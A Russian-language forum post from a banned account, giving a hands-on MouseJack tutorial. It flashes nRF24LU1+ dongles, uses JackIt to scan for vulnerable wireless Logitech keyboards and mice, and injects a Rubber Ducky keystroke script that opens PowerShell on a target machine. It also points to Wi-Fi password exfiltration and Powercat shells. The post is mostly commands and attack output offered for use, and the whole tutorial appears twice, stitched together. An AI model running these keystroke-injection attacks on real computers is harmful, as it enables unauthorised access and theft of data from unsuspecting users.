- Регистрация
- 23 Янв 2019
- Сообщения
- 1,351
- Баллы
- 0
- Общие продажи
- 0$
- Общие покупки
- 0$
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Получаем прошивку
Для начала необходимо обновить новое аппаратное обеспечение nRF24LU1 + с помощью специальной прошивки, чтобы сканировать уязвимые устройства и вводить нажатия клавиш. Во-первых, убедитесь, что индекс пакета Kali APT обновлен:
~$ apt-get update
Для выполнения сценариев Python, используемых для создания и автоматизации процесса перепрошивки, требуется несколько зависимостей. Используйте приведенную ниже команду apt-get, чтобы убедиться, что Git, Python и другие необходимые пакеты установлены и обновлены
~$ apt-get install sdcc binutils python python-pip git
Reading package lists... Done
Building dependency tree
Reading state information... Done
python is already the newest version (2.7.16-1).
python-pip is already the newest version (18.1-5).
The following packages were automatically installed and are no longer required:
libpython3.6-minimal libpython3.6-stdlib python3.6 python3.6-minimal
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
binutils-common binutils-x86-64-linux-gnu gputils gputils-common gputils-doc libbinutils sdcc-doc sdcc-libraries
Suggested packages:
binutils-doc sdcc-ucsim
The following NEW packages will be installed:
gputils gputils-common gputils-doc sdcc sdcc-doc sdcc-libraries
The following packages will be upgraded:
binutils binutils-common binutils-x86-64-linux-gnu libbinutils
4 upgraded, 6 newly installed, 0 to remove and 108 not upgraded.
Need to get 9,868 kB of archives.
After this operation, 63.7 MB of additional disk space will be used.
Do you want to continue? [Y/n]
Версия PIP, доступная в репозитории Kali, может быть немного устаревшей. Обновите его с помощью следующей команды.
~$ pip install --upgrade pip
Collecting pip
Downloading (1.4MB)
100% |████████████████████████████████| 1.4MB 114kB/s
Installing collected packages: pip
Found existing installation: pip 18.1
Not uninstalling pip at /usr/lib/python2.7/dist-packages, outside environment /usr
Can't uninstall 'pip'. No files were found to uninstall.
Successfully installed pip-19.1
Дополнительные зависимости должны быть установлены вместе с PIP. Используйте -I при установке пакета PyUSB, USB-модуля доступа Python.
~$ pip install --upgrade -I pyusb
DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7.
Collecting pyusb
Downloading (54kB)
|████████████████████████████████| 61kB 82kB/s
Building wheels for collected packages: pyusb
Building wheel for pyusb (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/1f/a9/7e/d189b5030ee3a56f9b72c28281bb11d661b8ea312e28de08a5
Successfully built pyusb
Installing collected packages: pyusb
Successfully installed pyusb-1.0.2
И, наконец, установите последний пакет PlatformIO, систему с открытым исходным кодом для разработки интернета вещей.
~$ pip install --upgrade platformio
Collecting platformio
Downloading (161kB)
|████████████████████████████████| 163kB 92kB/s
Collecting pyserial!=3.3,<4,>=3 (from platformio)
Downloading (193kB)
|████████████████████████████████| 194kB 179kB/s
Requirement already satisfied, skipping upgrade: requests<3,>=2.4.0 in /usr/lib/python2.7/dist-packages (from platformio) (2.21.0)
Collecting click<6,>=5 (from platformio)
Downloading (65kB)
|████████████████████████████████| 71kB 188kB/s
Requirement already satisfied, skipping upgrade: colorama in /usr/lib/python2.7/dist-packages (from platformio) (0.3.7)
Collecting bottle<0.13 (from platformio)
Downloading (72kB)
|████████████████████████████████| 81kB 153kB/s
Collecting semantic-version<3,>=2.5.0 (from platformio)
Downloading
Building wheels for collected packages: bottle, semantic-version
Building wheel for bottle (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/0c/68/ac/1546dcb27101ca6c4e50c5b5da92dbd3307f07cda5d88e81c7
Building wheel for semantic-version (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/60/bb/50/215d669d31f992767f5dd8d3c974e79261707ee7f898f0dc10
Successfully built bottle semantic-version
Installing collected packages: pyserial, click, bottle, semantic-version, platformio
Found existing installation: Click 7.0
Uninstalling Click-7.0:
Successfully uninstalled Click-7.0
Successfully installed bottle-0.12.16 click-5.1 platformio-3.6.7 pyserial-3.4 semantic-version-2.6.0
Клонируйте репозиторий MouseJack
Клонируйте репозиторий скриптов MouseJack на GitHub в каталог / opt.
~$ git clone /opt/mousejack
Cloning into '/opt/mousejack'...
remote: Enumerating objects: 285, done.
remote: Total 285 (delta 0), reused 0 (delta 0), pack-reused 285
Receiving objects: 100% (285/285), 8.63 MiB | 353.00 KiB/s, done.
Resolving deltas: 100% (131/131), done.
Перейдите в новый каталог mousejack /.
~$ cd /opt/mousejack/
Используйте опции init для инициализации локального файла конфигурации для nrf-research-firmware.
Это прошивка, прошиваемая на устройство nRF24LU1 +.
/opt/mousejack$ git submodule init
Submodule 'nrf-research-firmware' () registered for path 'nrf-research-firmware'
Затем используйте параметры обновления субмодуля, чтобы получить все данные и получить соответствующую фиксацию в списке.
/opt/mousejack$ git submodule update
Cloning into '/opt/mousejack/nrf-research-firmware'...
Submodule path 'nrf-research-firmware': checked out '02b84d1c4e59c0fb98263c83b2e7c7f9863a3b93'
Перейдите в каталог nrf-research-firmware /.
/opt/mousejack$ cd nrf-research-firmware/
Используйте команду make для выполнения команд в Makefile.
/nrf-research-firmware$ make
mkdir -p bin
sdcc --model-large --std-c99 -c src/main.c -o bin/main.rel
sdcc --model-large --std-c99 -c src/usb.c -o bin/usb.rel
sdcc --model-large --std-c99 -c src/usb_desc.c -o bin/usb_desc.rel
sdcc --model-large --std-c99 -c src/radio.c -o bin/radio.rel
sdcc --xram-loc 0x8000 --xram-size 2048 --model-large bin/main.rel bin/usb.rel bin/usb_desc.rel bin/radio.rel -o bin/dongle.ihx
objcopy -I ihex bin/dongle.ihx -O binary bin/dongle.bin
objcopy --pad-to 26622 --gap-fill 255 -I ihex bin/dongle.ihx -O binary bin/dongle.formatted.bin
objcopy -I binary bin/dongle.formatted.bin -O ihex bin/dongle.formatted.ihx
На этом этапе nRF24LU1 + должен быть вставлено в компьютер.
Затем выполните команду make install.
/nrf-research-firmware$ make install
./prog/usb-flasher/usb-flash.py bin/dongle.bin
[2019-04-25 23:55:44.351] Looking for a compatible device that can jump to the Nordic bootloader
[2019-04-25 23:55:44.378] Device found, jumping to the Nordic bootloader
[2019-04-25 23:55:44.969] Looking for a device running the Nordic bootloader
[2019-04-25 23:55:45.171] Writing image to flash
[2019-04-25 23:55:45.808] Verifying write
[2019-04-25 23:55:45.867] Firmware programming completed successfully
[2019-04-25 23:55:45.867] Please unplug your dongle or breakout board and plug it back in.
В соответствии с инструкциями отключите nRF24LU1 + от компьютера.
Чтобы убедиться, что прошивка была получена, подключите устройство обратно к компьютеру и используйте команду dmesg.
/nrf-research-firmware$ dmesg
[ 2433.986481] usb 2-1: new full-speed USB device number 3 using xhci_hcd
[ 2434.136930] usb 2-1: New USB device found, idVendor=1915, idProduct=0102, bcdDevice= 0.01
[ 2434.136938] usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[ 2434.136942] usb 2-1: Product: Research Firmware
[ 2434.136946] usb 2-1: Manufacturer: RFStorm
Скопируйте JackIt
С настроенным устройством nRF24LU1 + теперь можно сканировать окружающую область на наличие беспроводных мышей и клавиатур. В репозиторий MouseJack включено несколько великолепных скриптов Python, но вместо этого мы будем использовать скрипт JackIt для автоматизации ввода нажатия клавиш.
~$ git clone /opt/jackit
Cloning into '/opt/jackit'...
remote: Enumerating objects: 718, done.
remote: Total 718 (delta 0), reused 0 (delta 0), pack-reused 718
Receiving objects: 100% (718/718), 171.39 KiB | 153.00 KiB/s, done.
Resolving deltas: 100% (439/439), done.
Перейдите в директорию /jackit.
~$ cd /opt/jackit/
Просмотрите каталог.
/opt/jackit$ ls -la
total 48
drwxr-xr-x 6 root root 4096 Apr 26 22:25 .
drwxr-xr-x 6 root root 4096 Apr 26 22:25 ..
drwxr-xr-x 2 root root 4096 Apr 26 22:25 bin
drwxr-xr-x 2 root root 4096 Apr 26 22:25 examples
drwxr-xr-x 8 root root 4096 Apr 26 22:25 .git
-rw-r--r-- 1 root root 1072 Apr 26 22:25 .gitignore
drwxr-xr-x 5 root root 4096 Apr 26 22:25 jackit
-rw-r--r-- 1 root root 4743 Apr 26 22:25 README.md
-rw-r--r-- 1 root root 52 Apr 26 22:25 requirements.txt
-rwxr-xr-x 1 root root 594 Apr 26 22:25 setup.py
-rw-r--r-- 1 root root 289 Apr 26 22:25 tox.ini
Мы найдем файл «needs.txt». Он указывает на наличие некоторых зависимостей, которые должны быть установлены с PIP. Вот и все что нам нужно для настройки.
/opt/jackit$ pip install -e .
Obtaining file:///opt/jackit
Requirement already satisfied: click==5.1 in /usr/local/lib/python2.7/dist-packages (from JackIt==0.1.0) (5.1)
Collecting pyusb==1.0.0 (from JackIt==0.1.0)
Downloading (52kB)
|████████████████████████████████| 61kB 81kB/s
Collecting six==1.10.0 (from JackIt==0.1.0)
Downloading
Collecting tabulate==0.7.5 (from JackIt==0.1.0)
Downloading
Building wheels for collected packages: pyusb, tabulate
Building wheel for pyusb (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/a6/69/c7/258e736ee9bdb4553bd9701424b259436b979cf96201af612f
Building wheel for tabulate (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/96/9c/9a/369b6376b11523584a6040a89488c28f0f88cb52167dceb648
Successfully built pyusb tabulate
Installing collected packages: pyusb, six, tabulate, JackIt
Found existing installation: pyusb 1.0.2
Uninstalling pyusb-1.0.2:
Successfully uninstalled pyusb-1.0.2
Found existing installation: six 1.12.0
Uninstalling six-1.12.0:
Successfully uninstalled six-1.12.0
Running setup.py develop for JackIt
Successfully installed JackIt pyusb-1.0.0 six-1.10.0 tabulate-0.7.5
Захват беспроводных клавиатур и мышей
Просканируйте окрестности на наличие уязвимых устройств, просто набрав в любом терминале jackit.
~$ jackit
__. __ ._ __
| |__ __ | | | |/ |
| \__ \ / __\| |/ / \ __\
/\| |/ __ \\ \_| <| || |
\____(__ /\_ >|_ \_||__|
\/ \/ \/
JackIt Version 1.00
Created by phikshun, infamy
[!] You must supply a ducky script using --script <filename>
[!] Attacks are disabled.
[+] Starting scan...
[+] Scanning every 5s CTRL-C when ready.
KEY ADDRESS CHANNELS COUNT SEEN TYPE PACKET
----- -------------- ------------------------ ------- ----------- ------------ -----------------------------
1 C74:21:98:07 74 3 0:00:07 ago Logitech HID 00:C2:00:00:03:10:00:00:00:2B
Эта информация может быть использована для целевой атаки. Например, приведенная ниже полезная нагрузка USB Rubber Ducky может использоваться для открытия окна запуска и ввода нажатий клавиш на целевой компьютер.
GUI r
DELAY 1000
STRING powershell <payload here>
ENTER
Чтобы использовать сценарий USB Rubber Ducky с JackIt, используйте следующую команду.
~$ jackit --reset --address C74:21:98:07 --vendor Logitech --script /path/to/ducky/script.txt
[+] Sniffing for C74:21:98:07 every 5s CTRL-C when ready.
KEY ADDRESS CHANNELS COUNT SEEN TYPE PACKET
----- -------------- ---------- ------- ----------- ------------ -----------------------------
1 C74:21:98:07 2 1 0:00:10 ago Logitech HID 00:C2:00:00:00:00:00:00:00:00
^C
[+] Select target keys (1-1) separated by commas, or 'all': [all]: 1
[+] Ping success on channel 65
[+] Sending attack to C74:21:98:07 [Logitech HID] on channel 65
[+] All attacks completed
После нажатия клавиш устройство выполнит следующие команды.
Скрипт откроет окно запуска и наберет произвольный текст. Более сложные атаки PowerShell могут включать в себя эксфильтрацию паролей Wi-Fi, потоковую передачу в реальном времени на рабочем столе Windows 10 и оболочки Powercat с полезными нагрузками, размещенными на серверах Microsoft.
Для начала необходимо обновить новое аппаратное обеспечение nRF24LU1 + с помощью специальной прошивки, чтобы сканировать уязвимые устройства и вводить нажатия клавиш. Во-первых, убедитесь, что индекс пакета Kali APT обновлен:
~$ apt-get update
Для выполнения сценариев Python, используемых для создания и автоматизации процесса перепрошивки, требуется несколько зависимостей. Используйте приведенную ниже команду apt-get, чтобы убедиться, что Git, Python и другие необходимые пакеты установлены и обновлены
~$ apt-get install sdcc binutils python python-pip git
Reading package lists... Done
Building dependency tree
Reading state information... Done
python is already the newest version (2.7.16-1).
python-pip is already the newest version (18.1-5).
The following packages were automatically installed and are no longer required:
libpython3.6-minimal libpython3.6-stdlib python3.6 python3.6-minimal
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
binutils-common binutils-x86-64-linux-gnu gputils gputils-common gputils-doc libbinutils sdcc-doc sdcc-libraries
Suggested packages:
binutils-doc sdcc-ucsim
The following NEW packages will be installed:
gputils gputils-common gputils-doc sdcc sdcc-doc sdcc-libraries
The following packages will be upgraded:
binutils binutils-common binutils-x86-64-linux-gnu libbinutils
4 upgraded, 6 newly installed, 0 to remove and 108 not upgraded.
Need to get 9,868 kB of archives.
After this operation, 63.7 MB of additional disk space will be used.
Do you want to continue? [Y/n]
Версия PIP, доступная в репозитории Kali, может быть немного устаревшей. Обновите его с помощью следующей команды.
~$ pip install --upgrade pip
Collecting pip
Downloading (1.4MB)
100% |████████████████████████████████| 1.4MB 114kB/s
Installing collected packages: pip
Found existing installation: pip 18.1
Not uninstalling pip at /usr/lib/python2.7/dist-packages, outside environment /usr
Can't uninstall 'pip'. No files were found to uninstall.
Successfully installed pip-19.1
Дополнительные зависимости должны быть установлены вместе с PIP. Используйте -I при установке пакета PyUSB, USB-модуля доступа Python.
~$ pip install --upgrade -I pyusb
DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7.
Collecting pyusb
Downloading (54kB)
|████████████████████████████████| 61kB 82kB/s
Building wheels for collected packages: pyusb
Building wheel for pyusb (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/1f/a9/7e/d189b5030ee3a56f9b72c28281bb11d661b8ea312e28de08a5
Successfully built pyusb
Installing collected packages: pyusb
Successfully installed pyusb-1.0.2
И, наконец, установите последний пакет PlatformIO, систему с открытым исходным кодом для разработки интернета вещей.
~$ pip install --upgrade platformio
Collecting platformio
Downloading (161kB)
|████████████████████████████████| 163kB 92kB/s
Collecting pyserial!=3.3,<4,>=3 (from platformio)
Downloading (193kB)
|████████████████████████████████| 194kB 179kB/s
Requirement already satisfied, skipping upgrade: requests<3,>=2.4.0 in /usr/lib/python2.7/dist-packages (from platformio) (2.21.0)
Collecting click<6,>=5 (from platformio)
Downloading (65kB)
|████████████████████████████████| 71kB 188kB/s
Requirement already satisfied, skipping upgrade: colorama in /usr/lib/python2.7/dist-packages (from platformio) (0.3.7)
Collecting bottle<0.13 (from platformio)
Downloading (72kB)
|████████████████████████████████| 81kB 153kB/s
Collecting semantic-version<3,>=2.5.0 (from platformio)
Downloading
Building wheels for collected packages: bottle, semantic-version
Building wheel for bottle (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/0c/68/ac/1546dcb27101ca6c4e50c5b5da92dbd3307f07cda5d88e81c7
Building wheel for semantic-version (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/60/bb/50/215d669d31f992767f5dd8d3c974e79261707ee7f898f0dc10
Successfully built bottle semantic-version
Installing collected packages: pyserial, click, bottle, semantic-version, platformio
Found existing installation: Click 7.0
Uninstalling Click-7.0:
Successfully uninstalled Click-7.0
Successfully installed bottle-0.12.16 click-5.1 platformio-3.6.7 pyserial-3.4 semantic-version-2.6.0
Клонируйте репозиторий MouseJack
Клонируйте репозиторий скриптов MouseJack на GitHub в каталог / opt.
~$ git clone /opt/mousejack
Cloning into '/opt/mousejack'...
remote: Enumerating objects: 285, done.
remote: Total 285 (delta 0), reused 0 (delta 0), pack-reused 285
Receiving objects: 100% (285/285), 8.63 MiB | 353.00 KiB/s, done.
Resolving deltas: 100% (131/131), done.
Перейдите в новый каталог mousejack /.
~$ cd /opt/mousejack/
Используйте опции init для инициализации локального файла конфигурации для nrf-research-firmware.
Это прошивка, прошиваемая на устройство nRF24LU1 +.
/opt/mousejack$ git submodule init
Submodule 'nrf-research-firmware' () registered for path 'nrf-research-firmware'
Затем используйте параметры обновления субмодуля, чтобы получить все данные и получить соответствующую фиксацию в списке.
/opt/mousejack$ git submodule update
Cloning into '/opt/mousejack/nrf-research-firmware'...
Submodule path 'nrf-research-firmware': checked out '02b84d1c4e59c0fb98263c83b2e7c7f9863a3b93'
Перейдите в каталог nrf-research-firmware /.
/opt/mousejack$ cd nrf-research-firmware/
Используйте команду make для выполнения команд в Makefile.
/nrf-research-firmware$ make
mkdir -p bin
sdcc --model-large --std-c99 -c src/main.c -o bin/main.rel
sdcc --model-large --std-c99 -c src/usb.c -o bin/usb.rel
sdcc --model-large --std-c99 -c src/usb_desc.c -o bin/usb_desc.rel
sdcc --model-large --std-c99 -c src/radio.c -o bin/radio.rel
sdcc --xram-loc 0x8000 --xram-size 2048 --model-large bin/main.rel bin/usb.rel bin/usb_desc.rel bin/radio.rel -o bin/dongle.ihx
objcopy -I ihex bin/dongle.ihx -O binary bin/dongle.bin
objcopy --pad-to 26622 --gap-fill 255 -I ihex bin/dongle.ihx -O binary bin/dongle.formatted.bin
objcopy -I binary bin/dongle.formatted.bin -O ihex bin/dongle.formatted.ihx
На этом этапе nRF24LU1 + должен быть вставлено в компьютер.
Затем выполните команду make install.
/nrf-research-firmware$ make install
./prog/usb-flasher/usb-flash.py bin/dongle.bin
[2019-04-25 23:55:44.351] Looking for a compatible device that can jump to the Nordic bootloader
[2019-04-25 23:55:44.378] Device found, jumping to the Nordic bootloader
[2019-04-25 23:55:44.969] Looking for a device running the Nordic bootloader
[2019-04-25 23:55:45.171] Writing image to flash
[2019-04-25 23:55:45.808] Verifying write
[2019-04-25 23:55:45.867] Firmware programming completed successfully
[2019-04-25 23:55:45.867] Please unplug your dongle or breakout board and plug it back in.
В соответствии с инструкциями отключите nRF24LU1 + от компьютера.
Чтобы убедиться, что прошивка была получена, подключите устройство обратно к компьютеру и используйте команду dmesg.
/nrf-research-firmware$ dmesg
[ 2433.986481] usb 2-1: new full-speed USB device number 3 using xhci_hcd
[ 2434.136930] usb 2-1: New USB device found, idVendor=1915, idProduct=0102, bcdDevice= 0.01
[ 2434.136938] usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[ 2434.136942] usb 2-1: Product: Research Firmware
[ 2434.136946] usb 2-1: Manufacturer: RFStorm
Скопируйте JackIt
С настроенным устройством nRF24LU1 + теперь можно сканировать окружающую область на наличие беспроводных мышей и клавиатур. В репозиторий MouseJack включено несколько великолепных скриптов Python, но вместо этого мы будем использовать скрипт JackIt для автоматизации ввода нажатия клавиш.
~$ git clone /opt/jackit
Cloning into '/opt/jackit'...
remote: Enumerating objects: 718, done.
remote: Total 718 (delta 0), reused 0 (delta 0), pack-reused 718
Receiving objects: 100% (718/718), 171.39 KiB | 153.00 KiB/s, done.
Resolving deltas: 100% (439/439), done.
Перейдите в директорию /jackit.
~$ cd /opt/jackit/
Просмотрите каталог.
/opt/jackit$ ls -la
total 48
drwxr-xr-x 6 root root 4096 Apr 26 22:25 .
drwxr-xr-x 6 root root 4096 Apr 26 22:25 ..
drwxr-xr-x 2 root root 4096 Apr 26 22:25 bin
drwxr-xr-x 2 root root 4096 Apr 26 22:25 examples
drwxr-xr-x 8 root root 4096 Apr 26 22:25 .git
-rw-r--r-- 1 root root 1072 Apr 26 22:25 .gitignore
drwxr-xr-x 5 root root 4096 Apr 26 22:25 jackit
-rw-r--r-- 1 root root 4743 Apr 26 22:25 README.md
-rw-r--r-- 1 root root 52 Apr 26 22:25 requirements.txt
-rwxr-xr-x 1 root root 594 Apr 26 22:25 setup.py
-rw-r--r-- 1 root root 289 Apr 26 22:25 tox.ini
Мы найдем файл «needs.txt». Он указывает на наличие некоторых зависимостей, которые должны быть установлены с PIP. Вот и все что нам нужно для настройки.
/opt/jackit$ pip install -e .
Obtaining file:///opt/jackit
Requirement already satisfied: click==5.1 in /usr/local/lib/python2.7/dist-packages (from JackIt==0.1.0) (5.1)
Collecting pyusb==1.0.0 (from JackIt==0.1.0)
Downloading (52kB)
|████████████████████████████████| 61kB 81kB/s
Collecting six==1.10.0 (from JackIt==0.1.0)
Downloading
Collecting tabulate==0.7.5 (from JackIt==0.1.0)
Downloading
Building wheels for collected packages: pyusb, tabulate
Building wheel for pyusb (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/a6/69/c7/258e736ee9bdb4553bd9701424b259436b979cf96201af612f
Building wheel for tabulate (setup.py) ... done
Stored in directory: /root/.cache/pip/wheels/96/9c/9a/369b6376b11523584a6040a89488c28f0f88cb52167dceb648
Successfully built pyusb tabulate
Installing collected packages: pyusb, six, tabulate, JackIt
Found existing installation: pyusb 1.0.2
Uninstalling pyusb-1.0.2:
Successfully uninstalled pyusb-1.0.2
Found existing installation: six 1.12.0
Uninstalling six-1.12.0:
Successfully uninstalled six-1.12.0
Running setup.py develop for JackIt
Successfully installed JackIt pyusb-1.0.0 six-1.10.0 tabulate-0.7.5
Захват беспроводных клавиатур и мышей
Просканируйте окрестности на наличие уязвимых устройств, просто набрав в любом терминале jackit.
~$ jackit
__. __ ._ __
| |__ __ | | | |/ |
| \__ \ / __\| |/ / \ __\
/\| |/ __ \\ \_| <| || |
\____(__ /\_ >|_ \_||__|
\/ \/ \/
JackIt Version 1.00
Created by phikshun, infamy
[!] You must supply a ducky script using --script <filename>
[!] Attacks are disabled.
[+] Starting scan...
[+] Scanning every 5s CTRL-C when ready.
KEY ADDRESS CHANNELS COUNT SEEN TYPE PACKET
----- -------------- ------------------------ ------- ----------- ------------ -----------------------------
1 C74:21:98:07 74 3 0:00:07 ago Logitech HID 00:C2:00:00:03:10:00:00:00:2B
Уязвимое устройство покажет свой адрес, канал и тип в терминале.JackIt будет постоянно сканировать область на наличие беспроводных мышей и клавиатур.
Эта информация может быть использована для целевой атаки. Например, приведенная ниже полезная нагрузка USB Rubber Ducky может использоваться для открытия окна запуска и ввода нажатий клавиш на целевой компьютер.
GUI r
DELAY 1000
STRING powershell <payload here>
ENTER
Чтобы использовать сценарий USB Rubber Ducky с JackIt, используйте следующую команду.
~$ jackit --reset --address C74:21:98:07 --vendor Logitech --script /path/to/ducky/script.txt
JackIt спросит, по какому адресу вводить клавиши. Это целевая атака, поэтому при сканировании будет отображаться только один серийный номер. Нажмите 1, затем нажмите Enter.Нажмите Ctrl + c, чтобы остановить сканирование.
[+] Sniffing for C74:21:98:07 every 5s CTRL-C when ready.
KEY ADDRESS CHANNELS COUNT SEEN TYPE PACKET
----- -------------- ---------- ------- ----------- ------------ -----------------------------
1 C74:21:98:07 2 1 0:00:10 ago Logitech HID 00:C2:00:00:00:00:00:00:00:00
^C
[+] Select target keys (1-1) separated by commas, or 'all': [all]: 1
[+] Ping success on channel 65
[+] Sending attack to C74:21:98:07 [Logitech HID] on channel 65
[+] All attacks completed
После нажатия клавиш устройство выполнит следующие команды.
Скрипт откроет окно запуска и наберет произвольный текст. Более сложные атаки PowerShell могут включать в себя эксфильтрацию паролей Wi-Fi, потоковую передачу в реальном времени на рабочем столе Windows 10 и оболочки Powercat с полезными нагрузками, размещенными на серверах Microsoft.